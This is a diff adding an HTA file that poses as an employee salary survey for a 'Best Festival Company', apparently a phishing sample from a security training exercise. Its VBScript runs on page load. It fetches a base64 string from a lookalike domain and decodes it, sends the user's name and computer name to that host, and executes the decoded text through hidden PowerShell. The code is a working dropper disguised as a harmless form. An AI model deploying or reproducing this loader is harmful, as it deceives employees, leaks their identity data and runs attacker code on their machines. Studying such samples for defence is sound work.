|
| 1 | +<!DOCTYPE html> |
| 2 | +<html> |
| 3 | +<head> |
| 4 | +<title>Best Festival Company Developer Survey</title> |
| 5 | +<hta:application id="APP123080" |
| 6 | +applicationname="Festival Elf Survey" |
| 7 | +icon="logo.ico" |
| 8 | +border="thin" |
| 9 | +caption="yes" |
| 10 | +maximizebutton="no" |
| 11 | +minimizebutton="no" |
| 12 | +singleinstance="yes" |
| 13 | +windowstate="normal" |
| 14 | +sysmenu="yes"> |
| 15 | +</hta:application> |
| 16 | +<script type="text/javascript"> |
| 17 | + function visited() { |
| 18 | + document.getElementById("never").style.display = 'none'; |
| 19 | + document.getElementById("visited").style.display = 'block'; |
| 20 | + } |
| 21 | + function never() { |
| 22 | + document.getElementById("visited").style.display = 'none'; |
| 23 | + document.getElementById("never").style.display = 'block'; |
| 24 | + } |
| 25 | + function submitted() { |
| 26 | + document.getElementById("spinner").style.display = 'none'; |
| 27 | + document.getElementById("questions").style.display = 'none'; |
| 28 | + document.getElementById("thanks").style.display = 'block'; |
| 29 | + } |
| 30 | + function submit() { |
| 31 | + document.getElementById("submitbutton").style.display = 'none'; |
| 32 | + document.getElementById("spinner").style.display = 'inline'; |
| 33 | + setTimeout(submitted, 2000); |
| 34 | + } |
| 35 | +</script> |
| 36 | + |
| 37 | +<script type="text/vbscript"> |
| 38 | + |
| 39 | + Sub Window_onLoad |
| 40 | + Call getQuestions() |
| 41 | + End Sub |
| 42 | + |
| 43 | + Function getQuestions() |
| 44 | + Dim IE, result, decoded, decodedString |
| 45 | + Set IE = CreateObject("InternetExplorer.Application") |
| 46 | + IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt" |
| 47 | + Do While IE.ReadyState < 4 |
| 48 | + Loop |
| 49 | + result = IE.document.body.innerText |
| 50 | + IE.quit |
| 51 | + |
| 52 | + decoded = decodeBase64(result) |
| 53 | + decodedString = RSBinaryToString(decoded) |
| 54 | + Call provideFeedback(decodedString) |
| 55 | + End Function |
| 56 | + |
| 57 | + Function provideFeedback(feedbackString) |
| 58 | + Dim strHost, strUser, strDomain |
| 59 | + On Error Resume Next |
| 60 | + strHost = CreateObject("WScript.Network").ComputerName |
| 61 | + strUser = CreateObject("WScript.Network").UserName |
| 62 | + |
| 63 | + Dim IE |
| 64 | + Set IE = CreateObject("InternetExplorer.Application") |
| 65 | + IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost |
| 66 | + Do While IE.ReadyState < 4 |
| 67 | + Loop |
| 68 | + IE.quit |
| 69 | + |
| 70 | + Dim runObject |
| 71 | + |
| 72 | + Set runObject = CreateObject("Wscript.Shell") |
| 73 | + runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False |
| 74 | + |
| 75 | + End Function |
| 76 | + |
| 77 | + Function decodeBase64(base64) |
| 78 | + dim DM, EL |
| 79 | + Set DM = CreateObject("Microsoft.XMLDOM") |
| 80 | + Set EL = DM.createElement("tmp") |
| 81 | + EL.DataType = "bin.base64" |
| 82 | + EL.Text = base64 |
| 83 | + decodeBase64 = EL.NodeTypedValue |
| 84 | + end function |
| 85 | + |
| 86 | + Function RSBinaryToString(xBinary) |
| 87 | + Dim Binary |
| 88 | + If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary |
| 89 | + |
| 90 | + Dim RS, LBinary |
| 91 | + Const adLongVarChar = 201 |
| 92 | + Set RS = CreateObject("ADODB.Recordset") |
| 93 | + LBinary = LenB(Binary) |
| 94 | + |
| 95 | + If LBinary>0 Then |
| 96 | + RS.Fields.Append "mBinary", adLongVarChar, LBinary |
| 97 | + RS.Open |
| 98 | + RS.AddNew |
| 99 | + RS("mBinary").AppendChunk Binary |
| 100 | + RS.Update |
| 101 | + RSBinaryToString = RS("mBinary") |
| 102 | + Else |
| 103 | + RSBinaryToString = "" |
| 104 | + End If |
| 105 | + End Function |
| 106 | +</script> |
| 107 | + |
| 108 | + <style> |
| 109 | + body { |
| 110 | + font-family: museo_sans,Arial,Helvetica,sans-serif; |
| 111 | + overflow-x: hidden; |
| 112 | + } |
| 113 | + #header { |
| 114 | + background-color: rgb(0, 153, 153); |
| 115 | + box-shadow: rgba(0, 0, 0, .298039) 0 5px 0 0; |
| 116 | + height: 150px; |
| 117 | + width: 100%; |
| 118 | + z-index: 1000; |
| 119 | + margin-right: auto; |
| 120 | + margin-left: auto; |
| 121 | + } |
| 122 | + #survey-content { |
| 123 | + width: 100%; |
| 124 | + max-width: 1100px; |
| 125 | + z-index: 1000; |
| 126 | + margin-right: auto; |
| 127 | + margin-left: auto; |
| 128 | + } |
| 129 | + #topbar { |
| 130 | + max-width: 500px; |
| 131 | + float: left; |
| 132 | + } |
| 133 | + #logo { |
| 134 | + |
| 135 | + margin-left 10%; |
| 136 | + } |
| 137 | + #survey { |
| 138 | + margin-top: 5.0%; |
| 139 | + margin-right: 20px; |
| 140 | + padding-left: 10px; |
| 141 | + padding-right: 10px; |
| 142 | + background-color: rgb(0, 153, 153); |
| 143 | + font-family: inherit; |
| 144 | + font-size: 40px; |
| 145 | + text-color: #F8F8F8; |
| 146 | + font-weight: bold; |
| 147 | + text-transform: uppercase; |
| 148 | + text-decoration: none; |
| 149 | + color: #FFFFFF; |
| 150 | + float: right; |
| 151 | + } |
| 152 | + #survey-heading { |
| 153 | + color: #FFFFFF; |
| 154 | + font-family: 'Helvetica Neue', sans-serif; |
| 155 | + font-weight: bold; |
| 156 | + letter-spacing: -1px; |
| 157 | + line-height: 1; |
| 158 | + } |
| 159 | + #hp { |
| 160 | + float: right; |
| 161 | + margin: -55% 65%; |
| 162 | + } |
| 163 | + #thanks { |
| 164 | + overflow-x: hidden; |
| 165 | + overflow-y: hidden; |
| 166 | + } |
| 167 | + </style> |
| 168 | + </head> |
| 169 | + <body> |
| 170 | + |
| 171 | + <div id="header"> |
| 172 | + <div id="topbar"> |
| 173 | + <img id="logo" src="logo.png" alt="logo"></img> |
| 174 | + </div> |
| 175 | + <div id="survey"> |
| 176 | + <p id="survey-heading">Insert Survey Heading</p> |
| 177 | + </div> |
| 178 | + |
| 179 | + </div><br> |
| 180 | + <div id="survey-content"> |
| 181 | + <h2>Anonymous Salary Feedback</h2> |
| 182 | + |
| 183 | + <div id="questions"> |
| 184 | + <div> |
| 185 | + <p> We are looking for your feedback to help us improve our employee relations and to invest in the future of our employees.This survey is completely anonymous and gives you to opportunity to express what you think about Best Festival Company's commitment to its employees. Please take five minutes to complete the following survey.</p> |
| 186 | + </div> |
| 187 | + |
| 188 | + <h3>How long have you been employed at Best Festival Company?</h3> |
| 189 | + <label><input type="radio" name="q1"/> Less than 1 year</label><br /> |
| 190 | + <label><input type="radio" name="q1"/> Less than 2 years</label><br /> |
| 191 | + <label><input type="radio" name="q1"/> 2 years or more</label> |
| 192 | + |
| 193 | + <h3>Do you feel valued at work?</h3> |
| 194 | + <label><input type="radio" name="q2" />Yes</label><br /> |
| 195 | + <label><input type="radio" name="q2" />No</label><br /> |
| 196 | + <label><input type="radio" name="q2" />Indecisive</label> |
| 197 | + |
| 198 | + <h3>Do you feel content with your current salary?</h3> |
| 199 | + <label><input type="radio" name="q3" />Yes</label><br /> |
| 200 | + <label><input type="radio" name="q3" />No</label><br /> |
| 201 | + <label><input type="radio" name="q3" />Indecisive</label> |
| 202 | + |
| 203 | + <h3>By how much do you believe your salary should increase?</h3> |
| 204 | + <label><input type="radio" name="q4" />Up to 5%</label><br /> |
| 205 | + <label><input type="radio" name="q4" />Between 5% and 10%</label><br /> |
| 206 | + <label><input type="radio" name="q4" />Between 10% and 15%</label><br /> |
| 207 | + <label><input type="radio" name="q4" />More that 10%</label><br /> |
| 208 | + </div> |
| 209 | +<input id="submitbutton" type="submit" value="Submit" style="background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold" onMouseOver="this.style.backgroundColor='#ff9900'" onMouseOut="this.style.backgroundColor='#009999'" onclick="submit()" /> |
| 210 | +<img src="data:image/gif;base64,R0lGODlhEAAQAPQAAP///3d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jw5DN2gILzEEZgVcKYuMJiEAOwAAAAAAAAAAAA==" style="display:none" id="spinner" /> |
| 211 | +</div> |
| 212 | +<div id="thanks" style="display:none"> |
| 213 | +<div id="survey-content"> |
| 214 | +<div>Thank you for your feedback!</div> |
| 215 | +<div>All participants will be entered into a prize draw for a chance to win a trip to the South Pole!</div> |
| 216 | +<input id="submitbutton" type="submit" value="Close" style="background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold" onMouseOver="this.style.backgroundColor='#ff9900'" onMouseOut="this.style.backgroundColor='#009999'" onclick="self.close()" /> |
| 217 | +</div> |
| 218 | +</div> |
| 219 | +<div> |
| 220 | +</div> |
| 221 | +</body> |
| 222 | +</html> |
| 223 | + |
0 commit comments